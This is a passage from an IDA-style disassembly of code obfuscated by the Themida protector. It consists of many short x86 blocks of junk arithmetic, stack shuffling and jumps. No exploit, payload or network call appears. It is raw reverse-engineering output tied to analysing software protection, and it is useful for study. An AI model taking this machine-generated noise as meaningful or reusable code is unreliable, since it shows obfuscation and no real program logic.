		and	edi, 1FDA1D80h
		add	edi, 604DFD5Bh
		sub	esi, 6C0B0F9Fh
		jmp	loc_564D83
; ---------------------------------------------------------------------------


loc_55FD02:				; CODE XREF: Themida_:0056FC5Ej
		dec	al
		jmp	loc_56DAE8
; ---------------------------------------------------------------------------


loc_55FD09:				; CODE XREF: Themida_:0056FDFBj
		inc	edi
		jmp	loc_561F91
; ---------------------------------------------------------------------------


loc_55FD0F:				; CODE XREF: Themida_:0057139Dj
		xor	edx, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55FD1F:				; CODE XREF: Themida_:0055EE3Cj
		sub	esi, 46136B7Eh
		add	esi, 5A594495h
		add	eax, esi
		pop	esi
		jmp	loc_564735
; ---------------------------------------------------------------------------


loc_55FD33:				; CODE XREF: Themida_:0055F235j
		inc	esi
		xchg	esi, ecx
		shl	ecx, 5
		push	4C4Ah
		mov	[esp], ebp
		mov	ebp, 0CBDA57B0h
		add	ecx, ebp
		jmp	loc_5699A4
; ---------------------------------------------------------------------------


loc_55FD4D:				; CODE XREF: Themida_:0056BAF8j
		mov	eax, 0FA24B82h
		add	eax, 36A90B11h
		neg	eax
		sub	eax, 17A736E2h
		neg	eax
		sub	eax, 6DC85BD4h
		jmp	loc_562740
; ---------------------------------------------------------------------------


loc_55FD6A:				; CODE XREF: Themida_:005643E7j
		pop	cx
		jmp	loc_5679B7
; ---------------------------------------------------------------------------


loc_55FD71:				; CODE XREF: Themida_:005713C5j
		or	[edi+1Ch], ebx
		mov	ebx, [esp]
		jmp	loc_56A249
; ---------------------------------------------------------------------------


loc_55FD7C:				; CODE XREF: Themida_:0056F8C1j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	660Bh
		mov	[esp], ecx
		mov	cl, 37h
		not	cl
		neg	cl
		not	cl
		add	cl, 23h
		jmp	loc_55DC1F
; ---------------------------------------------------------------------------


loc_55FD9D:				; CODE XREF: Themida_:0056F24Cj
		sub	ebp, esi
		jmp	loc_56DF73
; ---------------------------------------------------------------------------


loc_55FDA4:				; CODE XREF: Themida_:0056F9B7j
		add	esi, eax
		jmp	loc_5698EA
; ---------------------------------------------------------------------------


loc_55FDAB:				; CODE XREF: Themida_:0057086Ej
		pop	eax
		jmp	loc_56DB58
; ---------------------------------------------------------------------------


loc_55FDB1:				; CODE XREF: Themida_:00565773j
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_564B8C
; ---------------------------------------------------------------------------


loc_55FDBA:				; CODE XREF: Themida_:0056FA8Ej
		mov	eax, 3041777Fh
		and	ebp, eax
		pop	eax
		push	esi
		mov	esi, 431F59F9h
		jmp	loc_5600B3
; ---------------------------------------------------------------------------


loc_55FDCD:				; CODE XREF: Themida_:00571234j
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	7AFEh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_56F53D
; ---------------------------------------------------------------------------


loc_55FDEF:				; CODE XREF: Themida_:0055D847j
		push	34B6h
		mov	[esp], ecx
		jmp	loc_569FC9
; ---------------------------------------------------------------------------


loc_55FDFC:				; CODE XREF: Themida_:005687F9j
		mov	ebp, [esp]
		add	esp, 4
		add	eax, esi
		sub	eax, 59243870h
		jmp	loc_564342
; ---------------------------------------------------------------------------


loc_55FE0E:				; CODE XREF: Themida_:0055DD5Bj
		sub	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 575030D6h
		and	ebp, ecx
		pop	ecx
		add	ebp, 28F16B1Ah
		push	edx
		push	ebx
		push	eax
		mov	eax, 4F5957F2h
		push	edx
		mov	edx, 0BCC2EFCBh
		mov	ebx, edx
		pop	edx
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0FA375941h
		mov	edx, esi
		pop	esi
		jmp	loc_5707D2
; ---------------------------------------------------------------------------


loc_55FE52:				; CODE XREF: Themida_:0056659Cj
		xor	ecx, 360E365h
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 5DFA2FEFh
		or	esi, 68725949h
		jmp	loc_56BC8F
; ---------------------------------------------------------------------------


loc_55FE74:				; CODE XREF: Themida_:005709ACj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55DF3C
; ---------------------------------------------------------------------------


loc_55FE7F:				; CODE XREF: Themida_:0056473Bj
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_571E41
; ---------------------------------------------------------------------------


loc_55FE8E:				; CODE XREF: Themida_:0056644Ej
		xor	edi, [esp]
		pop	esp
		jmp	loc_572B45
; ---------------------------------------------------------------------------


loc_55FE97:				; CODE XREF: Themida_:0056464Aj
		push	esi
		mov	esi, 67462205h
		and	ebx, esi
		pop	esi
		not	ebx
		neg	ebx
		add	ebx, 1C061E18h
		shl	ebx, 1
		push	edi
		mov	edi, 59C08D25h
		add	ebx, edi
		pop	edi
		xor	esi, ebx
		pop	ebx
		add	esi, 41E57015h
		mov	ebp, esi
		pop	esi
		shr	ebp, 2
		shr	ebp, 5
		or	ebp, 74F95822h
		inc	ebp
		sub	ebp, 74FB7EA0h
		sub	edx, 73A761Ah
		sub	edx, 292E408Ah
		jmp	loc_571C5B
; ---------------------------------------------------------------------------


loc_55FEE5:				; CODE XREF: Themida_:00568D4Cj
		mov	[esp], eax
		jmp	loc_5604F9
; ---------------------------------------------------------------------------


loc_55FEED:				; CODE XREF: Themida_:00564EC1j
		pop	edi
		sub	eax, 47772822h
		jmp	loc_55DE25
; ---------------------------------------------------------------------------


loc_55FEF8:				; CODE XREF: Themida_:0056D949j
		push	4482h
		mov	[esp], eax
		mov	eax, 746A6EB0h
		xor	eax, 5A3E4A9Ch
		sub	ebx, eax
		pop	eax
		add	ebx, 7B9950F1h
		add	ebx, edx
		sub	ebx, 7B9950F1h
		add	ebx, 2E54242Ch
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_568B95
; ---------------------------------------------------------------------------


loc_55FF2D:				; CODE XREF: Themida_:005712DCj
		pop	esi
		add	edx, 307E6E10h
		add	edx, eax
		jmp	loc_5712E1
; ---------------------------------------------------------------------------


loc_55FF3B:				; CODE XREF: Themida_:00570AC0j
		xor	ebx, 6C7F36B5h
		jmp	loc_56A5B9
; ---------------------------------------------------------------------------


loc_55FF46:				; CODE XREF: Themida_:0056A396j
		add	eax, ebx
		add	eax, 1B430862h
		add	[eax], ecx
		jmp	loc_5650EE
; ---------------------------------------------------------------------------


loc_55FF54:				; CODE XREF: Themida_:0055ED56j
		push	eax
		jmp	loc_566D0F
; ---------------------------------------------------------------------------


loc_55FF5A:				; CODE XREF: Themida_:00570F98j
		sub	ebx, 202F5C0Fh
		jmp	loc_56725F
; ---------------------------------------------------------------------------


loc_55FF65:				; CODE XREF: Themida_:00570793j
		pop	ebx
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		sub	edx, 366B3EF4h
		add	edx, ecx
		add	edx, 366B3EF4h
		pop	ecx
		jmp	loc_55F99A
; ---------------------------------------------------------------------------


loc_55FF83:				; CODE XREF: Themida_:0056BC2Cj
		sub	edi, eax
		pop	eax
		not	edi
		or	edi, 33AD2C6Eh
		jmp	loc_56C818
; ---------------------------------------------------------------------------


loc_55FF93:				; CODE XREF: Themida_:0056C060j
		add	edi, eax
		sub	edi, 2CF25A49h
		mov	eax, [esp]
		add	esp, 4
		add	edi, 0C1D7C74Dh
		add	ebx, 409856ADh
		add	ebx, 21CB0164h
		sub	ebx, 66B1EE8h
		add	ebx, edi
		jmp	loc_55E2C6
; ---------------------------------------------------------------------------


loc_55FFC0:				; CODE XREF: Themida_:00569FF8j
		mov	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 1F9E7D8Bh
		push	2BD6h
		mov	[esp], ecx
		mov	ecx, 5952692h
		neg	ecx
		jmp	loc_570138
; ---------------------------------------------------------------------------


loc_55FFDD:				; CODE XREF: Themida_:0056241Ej
		mov	edi, 0B0B029h
		xor	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		push	edi
		push	eax
		push	2C30h
		jmp	loc_56C2F6
; ---------------------------------------------------------------------------


loc_55FFF4:				; CODE XREF: Themida_:0055E520j
		add	edi, 0D3DF5F12h
		jmp	loc_57031E
; ---------------------------------------------------------------------------


loc_55FFFF:				; CODE XREF: Themida_:00564B81j
		pop	eax
		xor	eax, 4C5006A1h
		add	eax, 1
		add	eax, 0FFFFFFFFh
		not	eax
		sub	esp, 4
		jmp	loc_572161
; ---------------------------------------------------------------------------


loc_56001C:				; CODE XREF: Themida_:00564623j
		sub	esp, 4
		mov	[esp], ecx
		push	202Ch
		mov	[esp], ebp
		mov	ebp, 673F7D55h
		push	eax
		mov	eax, 206315Dh
		jmp	loc_57049E
; ---------------------------------------------------------------------------


loc_56003A:				; CODE XREF: Themida_:0056B8C7j
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5601EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_56004D:				; CODE XREF: sub_562A0A+E597j
		mov	ch, 8Ah
		inc	ch
		shl	ch, 1
		add	ch, 61h
		jmp	loc_56BE98
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_56005B:				; CODE XREF: Themida_:00570602j
		sub	edx, 4
		jmp	loc_56ACA1
; ---------------------------------------------------------------------------


loc_560066:				; CODE XREF: Themida_:00564380j
		xor	ebp, 12712F5Bh
		sub	esi, ebp
		pop	ebp
		add	esi, eax
		add	esi, 12CF5AE4h
		pop	eax
		add	esi, 6D5E609Dh
		push	esi
		sub	dword ptr [esp], 50EC50ACh
		jmp	loc_569426
; ---------------------------------------------------------------------------


loc_56008B:				; CODE XREF: Themida_:0056813Fj
		not	ecx
		jmp	loc_568415
; ---------------------------------------------------------------------------


loc_560092:				; CODE XREF: Themida_:005648DCj
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 2
		push	6C59h
		mov	[esp], edx
		jmp	loc_56F431
; ---------------------------------------------------------------------------


loc_5600B3:				; CODE XREF: Themida_:0055FDC8j
		or	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2AAB4D39h
		inc	eax
		jmp	loc_562369
; ---------------------------------------------------------------------------


loc_5600C7:				; CODE XREF: Themida_:00564820j
		mov	ebp, [esp]
		jmp	loc_56D629
; ---------------------------------------------------------------------------


loc_5600CF:				; CODE XREF: Themida_:0055E0E4j
		push	ebx
		jmp	loc_57244F
; ---------------------------------------------------------------------------


loc_5600D5:				; CODE XREF: Themida_:005620D9j
		sub	al, 48h
		jmp	loc_56C55D
; ---------------------------------------------------------------------------


loc_5600DC:				; CODE XREF: Themida_:00561CC1j
		sub	ebp, 61926375h
		add	ebp, eax
		jmp	loc_55F0E7
; ---------------------------------------------------------------------------


loc_5600E9:				; CODE XREF: Themida_:005606A2j
		push	ecx
		mov	ecx, 0B5912E4h
		sub	ecx, 6FD867C1h
		jmp	loc_56794B
; ---------------------------------------------------------------------------


loc_5600FA:				; CODE XREF: Themida_:0056A0D6j
		shr	edi, 4
		jmp	loc_560A8E
; ---------------------------------------------------------------------------


loc_560102:				; CODE XREF: Themida_:00571271j
		sub	eax, edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		push	1E50h
		mov	[esp], esi
		mov	esi, 11C02CC2h
		sub	eax, 47722C24h
		sub	eax, 7381A14h
		push	522Dh
		mov	[esp], edi
		mov	edi, 5C435BE5h
		jmp	loc_5728EF
; ---------------------------------------------------------------------------


loc_560137:				; CODE XREF: Themida_:00572B38j
		mov	dl, 1Fh
		jmp	loc_5676A8
; ---------------------------------------------------------------------------


loc_56013E:				; CODE XREF: Themida_:0056FD02j
		push	eax
		push	39D752C3h
		pop	eax
		mov	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 2D6D6AE9h
		xor	eax, 729A304Fh
		xor	eax, 18795422h
		sub	eax, 2E6AEFEAh
		add	edi, eax
		pop	eax
		dec	edi
		jmp	loc_56F251
; ---------------------------------------------------------------------------


loc_56016C:				; CODE XREF: Themida_:00569A1Fj
		add	esp, 4
		add	edx, edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5670C8
; ---------------------------------------------------------------------------


loc_56017F:				; CODE XREF: Themida_:0055E96Dj
		push	dword ptr [esp]
		jmp	loc_56B728
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56018F:				; CODE XREF: Themida_:00563922j
		push	eax
		mov	eax, 6E086131h
		sub	ebp, eax
		pop	eax
		xor	ebp, 34DD0703h
		push	ecx
		mov	ecx, 7C035B08h
		xor	ecx, 78F70E75h
		add	ecx, 1250587Dh
		shr	ecx, 1
		or	ecx, 66176BDFh
		jmp	loc_56C405
; ---------------------------------------------------------------------------


loc_5601BD:				; CODE XREF: Themida_:0056DC6Cj
		add	esp, 4
		sub	eax, 0D577E81Fh
		add	ecx, 4DD22679h
		sub	ecx, eax
		sub	ecx, 4DD22679h
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_571B4A
; ---------------------------------------------------------------------------


loc_5601E4:				; CODE XREF: Themida_:00567F15j
		push	6A4Ah
		jmp	loc_57163F
; ---------------------------------------------------------------------------


loc_5601EE:				; CODE XREF: Themida_:00560048j
		or	ecx, ecx
		jz	loc_56C637
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 3A2A3283h
		shl	edx, 7
		sub	edx, 8453C37h
		jmp	loc_561077
; ---------------------------------------------------------------------------


loc_56020D:				; CODE XREF: Themida_:005712BBj
		push	ebp
		jmp	loc_5698DD
; ---------------------------------------------------------------------------


loc_560213:				; CODE XREF: Themida_:00562D4Dj
		mov	eax, 116C4BE6h
		and	eax, 3F777C47h
		neg	eax
		jmp	loc_5656D7
; ---------------------------------------------------------------------------


loc_560224:				; CODE XREF: Themida_:0055D35Fj
		pop	esp
		push	ebx
		mov	ebx, esp
		push	esi
		push	1ACh
		mov	[esp], edx
		mov	edx, 77753B66h
		and	edx, 3EF94D47h
		jmp	loc_5653B6
; ---------------------------------------------------------------------------


loc_560241:				; CODE XREF: Themida_:0056C30Cj
		neg	ebp
		jmp	loc_55E85A
; ---------------------------------------------------------------------------


loc_560248:				; CODE XREF: Themida_:0056AE1Bj
		and	ebx, 1D6F3568h
		sub	ebx, 1
		jmp	loc_5717C0
; ---------------------------------------------------------------------------


loc_560256:				; CODE XREF: Themida_:0056620Fj
		add	ebx, 4
		jmp	loc_56789D
; ---------------------------------------------------------------------------


loc_560261:				; CODE XREF: Themida_:00569B8Dj
		mov	esi, 2
		jmp	loc_56BA26
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		push	esi
		push	esp
		jmp	loc_56E01C
; ---------------------------------------------------------------------------


loc_560278:				; CODE XREF: Themida_:0056DED5j
		mov	esp, [esp]
		jmp	loc_562737
; ---------------------------------------------------------------------------


loc_560280:				; CODE XREF: Themida_:0056B892j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_560285:				; CODE XREF: Themida_:005688E5j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_55E6C2
; ---------------------------------------------------------------------------


loc_560294:				; CODE XREF: Themida_:005702C5j
		pop	esi
		xor	esi, 90029ACh
		mov	ecx, esi
		pop	esi
		jmp	loc_55DEB6
; ---------------------------------------------------------------------------


loc_5602A3:				; CODE XREF: Themida_:00572575j
		mov	[esp], esi
		mov	esi, 2DD04D0Ch
		add	dword ptr [esp+4], 7445603Dh
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 7445603Dh
		jmp	loc_56E863
; ---------------------------------------------------------------------------


loc_5602C4:				; CODE XREF: Themida_:00571A3Aj
		pop	esp
		jmp	loc_5667FA
; ---------------------------------------------------------------------------


loc_5602CA:				; CODE XREF: Themida_:005642D4j
		push	6C094F01h
		pop	esi
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		jmp	loc_56B194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_5602DA:				; CODE XREF: sub_562A0A-18C1j
		mov	ebp, esp
		jmp	loc_5703C1
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_5602E1:				; CODE XREF: Themida_:0056CA24j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 30621BB8h
		jmp	loc_56907E
; ---------------------------------------------------------------------------


loc_5602F2:				; CODE XREF: Themida_:0056A069j
		sub	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 132950E0h
		sub	eax, ecx
		pop	ecx
		sub	eax, 3C220F9Dh
		sub	eax, ebp
		jmp	loc_56D293
; ---------------------------------------------------------------------------


loc_56030A:				; CODE XREF: Themida_:0056DAB6j
		push	6E88h
		mov	[esp], ebx
		jmp	loc_566E52
; ---------------------------------------------------------------------------


loc_560317:				; CODE XREF: Themida_:0056344Bj
		mov	ch, [esp]
		jmp	loc_56BC31
; ---------------------------------------------------------------------------


loc_56031F:				; CODE XREF: Themida_:005633E9j
		add	edx, ebx
		jmp	loc_562585
; ---------------------------------------------------------------------------


loc_560326:				; CODE XREF: Themida_:0056848Fj
		neg	edx
		add	edx, 4F87049Dh
		dec	edx
		sub	edx, 576E4905h
		mov	esi, edx
		pop	edx
		add	ebx, esi
		jmp	loc_5606EE
; ---------------------------------------------------------------------------


loc_56033F:				; CODE XREF: Themida_:00564A5Cj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_564CBA
; ---------------------------------------------------------------------------


loc_56034C:				; CODE XREF: Themida_:0056C8E6j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		push	eax
		jmp	loc_56AAE2
; ---------------------------------------------------------------------------


loc_560360:				; CODE XREF: Themida_:00568382j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_56598C
; ---------------------------------------------------------------------------


loc_560375:				; CODE XREF: Themida_:0055E828j
		pop	eax
		jmp	loc_563781
; ---------------------------------------------------------------------------


loc_56037B:				; CODE XREF: Themida_:00561642j
		push	dword ptr [esp]
		jmp	loc_56DDF6
; ---------------------------------------------------------------------------


loc_560383:				; CODE XREF: Themida_:00560934j
		pop	esp
		push	ebx
		jmp	loc_562A19
; ---------------------------------------------------------------------------


loc_56038A:				; CODE XREF: Themida_:0056861Bj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_56C82D
; ---------------------------------------------------------------------------


loc_560398:				; CODE XREF: Themida_:0056798Bj
		mov	esi, [esp]
		add	esp, 4
		push	49D5h
		mov	[esp], edx
		jmp	loc_564007
; ---------------------------------------------------------------------------


loc_5603AB:				; CODE XREF: Themida_:005612A0j
		add	esp, 2
		jmp	loc_56BD3B
; ---------------------------------------------------------------------------


loc_5603B3:				; CODE XREF: Themida_:0055DB0Bj
		push	ebx
		mov	bl, 5Dh
		jmp	loc_56C457
; ---------------------------------------------------------------------------


loc_5603BB:				; CODE XREF: Themida_:00565AE0j
		xor	ebp, esi
		pop	esi
		jmp	loc_56E8B9
; ---------------------------------------------------------------------------


loc_5603C3:				; CODE XREF: Themida_:00561A60j
		mov	ecx, 60C772E0h
		jmp	loc_561696
; ---------------------------------------------------------------------------


loc_5603CD:				; CODE XREF: Themida_:00563930j
		mov	esp, [esp]
		jmp	loc_55D962
; ---------------------------------------------------------------------------


loc_5603D5:				; CODE XREF: Themida_:00564551j
		pop	ebx
		jmp	loc_56EE9B
; ---------------------------------------------------------------------------


loc_5603DB:				; CODE XREF: Themida_:0056046Fj
		mov	edx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 33A84C5Fh
		or	esi, 32443A04h
		dec	esi
		jmp	loc_55DAEC
; ---------------------------------------------------------------------------


loc_5603F7:				; CODE XREF: Themida_:005690D4j
		xor	edi, 0F25079F1h
		jmp	loc_568374
; ---------------------------------------------------------------------------


loc_560402:				; CODE XREF: Themida_:0055F378j
		add	eax, ecx
		add	eax, 74131809h
		jmp	loc_566243
; ---------------------------------------------------------------------------


loc_56040E:				; CODE XREF: Themida_:005656D2j
		sub	esi, edx
		pop	edx
		add	esi, ebp
		push	ecx
		mov	ecx, 14B8388Eh
		add	esi, ecx
		pop	ecx
		mov	ebp, [esp]
		jmp	loc_560E63
; ---------------------------------------------------------------------------


loc_560424:				; CODE XREF: Themida_:0056B387j
		dec	edi
		sub	edi, 0BF7F19D0h
		xor	edx, edi
		pop	edi
		or	edx, 59AA282Dh
		push	eax
		mov	eax, 79BB2939h
		xor	edx, eax
		pop	eax
		add	ecx, 383516D2h
		add	ecx, edx
		sub	ecx, 383516D2h
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_56159E
; ---------------------------------------------------------------------------


loc_56045E:				; CODE XREF: Themida_:0055DCBBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx
		push	29A9h
		mov	[esp], edx
		jmp	loc_5603DB
; ---------------------------------------------------------------------------


loc_560474:				; CODE XREF: Themida_:0056D353j
		push	eax
		jmp	loc_56AC32
; ---------------------------------------------------------------------------


loc_56047A:				; CODE XREF: Themida_:00560D9Bj
		add	ebp, esi
		jmp	loc_565560
; ---------------------------------------------------------------------------


loc_560481:				; CODE XREF: Themida_:00566666j
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		push	59181C97h
		jmp	loc_56C6B0
; ---------------------------------------------------------------------------


loc_560491:				; CODE XREF: Themida_:005629D2j
		pop	ecx
		push	1457h
		mov	[esp], ecx
		mov	ch, 18h
		jmp	loc_564DE5
; ---------------------------------------------------------------------------


loc_5604A1:				; CODE XREF: Themida_:0055DEB1j
		pop	ebp
		xor	ecx, 5732531Ch
		add	ecx, 0A15AB2A5h
		add	eax, 1E3B58A9h
		add	eax, ecx
		sub	eax, 1E3B58A9h
		jmp	loc_55E6F6
; ---------------------------------------------------------------------------


loc_5604BF:				; CODE XREF: Themida_:0056F708j
		add	esp, 4
		or	eax, eax
		jz	loc_56B7BB
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_572394
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_5604E1:				; CODE XREF: sub_59DB3D-3141Aj
		mov	eax, [esp+2Ch+var_2C]
		jmp	loc_56BFE1
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_5604E9:				; CODE XREF: Themida_:0056E57Bj
		push	eax
		mov	eax, 1AA052A6h
		or	eax, 42244205h
		jmp	loc_571095
; ---------------------------------------------------------------------------


loc_5604F9:				; CODE XREF: Themida_:0055FEE8j
		mov	eax, 61255EFDh
		xor	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	44E1h
		jmp	loc_56D70D
; ---------------------------------------------------------------------------


loc_56050E:				; CODE XREF: Themida_:0055F9BBj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5676D1
; ---------------------------------------------------------------------------


loc_560522:				; CODE XREF: Themida_:0056BAF1j
		add	ecx, eax
		push	edi
		jmp	loc_56542F
; ---------------------------------------------------------------------------


loc_56052A:				; CODE XREF: Themida_:00570F23j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55D6CC
; ---------------------------------------------------------------------------


loc_56054C:				; CODE XREF: Themida_:0056E0B5j
		xor	ecx, 9416AECBh
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_56F40A
; ---------------------------------------------------------------------------


loc_560563:				; CODE XREF: Themida_:0055D583j
		push	ebp
		mov	ebp, 3E65026Dh
		dec	ebp
		jmp	loc_56A2F4
; ---------------------------------------------------------------------------


loc_56056F:				; CODE XREF: Themida_:00562BA7j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5620DE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	470Eh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55FABE
; ---------------------------------------------------------------------------


loc_5605A0:				; CODE XREF: Themida_:00569B41j
		shr	eax, 0Bh
		xor	ecx, eax
		push	4B20h
		mov	[esp], ebx
		jmp	loc_56275F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_567333
; ---------------------------------------------------------------------------


loc_5605BB:				; CODE XREF: Themida_:0056A2CFj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56E255
; ---------------------------------------------------------------------------


loc_5605DC:				; CODE XREF: Themida_:0056A347j
		mov	[esp], edi
		mov	edi, 295656AEh
		sub	edi, 4970AC2Fh
		add	esi, edi
		pop	edi
		sub	ebp, 39AB5621h
		add	ebp, esi
		add	ebp, 39AB5621h
		mov	esi, [esp]
		jmp	loc_560C79
; ---------------------------------------------------------------------------


loc_560603:				; CODE XREF: Themida_:00572025j
		inc	ecx
		shr	ecx, 6
		sub	ecx, 112AD12h
		jmp	loc_56441C
; ---------------------------------------------------------------------------


loc_560612:				; CODE XREF: Themida_:0056DB2Aj
		add	ebp, esi
		sub	ebp, 5EF75543h
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 2
		jmp	loc_562204
; ---------------------------------------------------------------------------


loc_560628:				; CODE XREF: Themida_:0055D4F6j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56F2EB
; ---------------------------------------------------------------------------


loc_560633:				; CODE XREF: Themida_:00570AEDj
		xchg	ebx, [esp]
		jmp	loc_56C667
; ---------------------------------------------------------------------------


loc_56063B:				; CODE XREF: Themida_:00571582j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_561FB5
; ---------------------------------------------------------------------------


loc_560647:				; CODE XREF: Themida_:0055E3D9j
		push	eax
		jmp	loc_56DDCF
; ---------------------------------------------------------------------------


loc_56064D:				; CODE XREF: Themida_:005660F9j
		xchg	ebx, ebp
		jmp	loc_566B78
; ---------------------------------------------------------------------------


loc_560654:				; CODE XREF: Themida_:0056EC0Bj
		pop	ecx
		add	edi, edx
		jmp	loc_56782E
; ---------------------------------------------------------------------------


loc_56065C:				; CODE XREF: Themida_:00571CBEj
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 743314E9h
		xor	edi, 71D975A8h
		jmp	loc_56FC24
; ---------------------------------------------------------------------------


loc_560678:				; CODE XREF: Themida_:00570B0Fj
		sub	edx, 0C47CE94Ah
		mov	ebx, edx
		pop	edx
		and	ebx, 50A515Ch
		sub	ebx, 5FA576F2h
		inc	ebx
		jmp	loc_56FF99
; ---------------------------------------------------------------------------


loc_560693:				; CODE XREF: Themida_:00560FDDj
		sub	ebx, 71C85950h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5600E9
; ---------------------------------------------------------------------------


loc_5606A7:				; CODE XREF: Themida_:0056C47Dj
		push	ecx
		mov	ecx, 6BE95130h
		jmp	loc_56E0B3
; ---------------------------------------------------------------------------


loc_5606B2:				; CODE XREF: Themida_:00560AB2j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55E39C
; ---------------------------------------------------------------------------


loc_5606BC:				; CODE XREF: Themida_:00570A8Aj
		shl	edi, 1
		shl	edi, 4
		shr	edi, 2
		jmp	loc_568450
; ---------------------------------------------------------------------------


loc_5606C9:				; CODE XREF: Themida_:0056DCEFj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_562719
; ---------------------------------------------------------------------------


loc_5606D8:				; CODE XREF: Themida_:00565248j
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		xor	eax, edx
		xor	edx, eax
		jmp	loc_56435D
; ---------------------------------------------------------------------------


loc_5606EE:				; CODE XREF: Themida_:0056033Aj
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56B6F3
; ---------------------------------------------------------------------------


loc_5606FA:				; CODE XREF: Themida_:00561E69j
		add	ebx, 0E208027Fh
		sub	eax, ebx
		jmp	loc_5660B6
; ---------------------------------------------------------------------------


loc_560707:				; CODE XREF: Themida_:005721B3j
		xor	edx, eax
		xor	eax, edx
		push	edx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		not	ebp
		xor	ecx, ebp
		jmp	loc_55DAE2
; ---------------------------------------------------------------------------


loc_560724:				; CODE XREF: Themida_:00567654j
		pop	edi
		jmp	loc_569715
; ---------------------------------------------------------------------------


loc_56072A:				; CODE XREF: Themida_:00563F12j
		mov	[esp], edi
		mov	edi, 0D4838E5h
		mov	edx, 0D4838E7h
		xor	edx, edi
		push	dword ptr [esp]
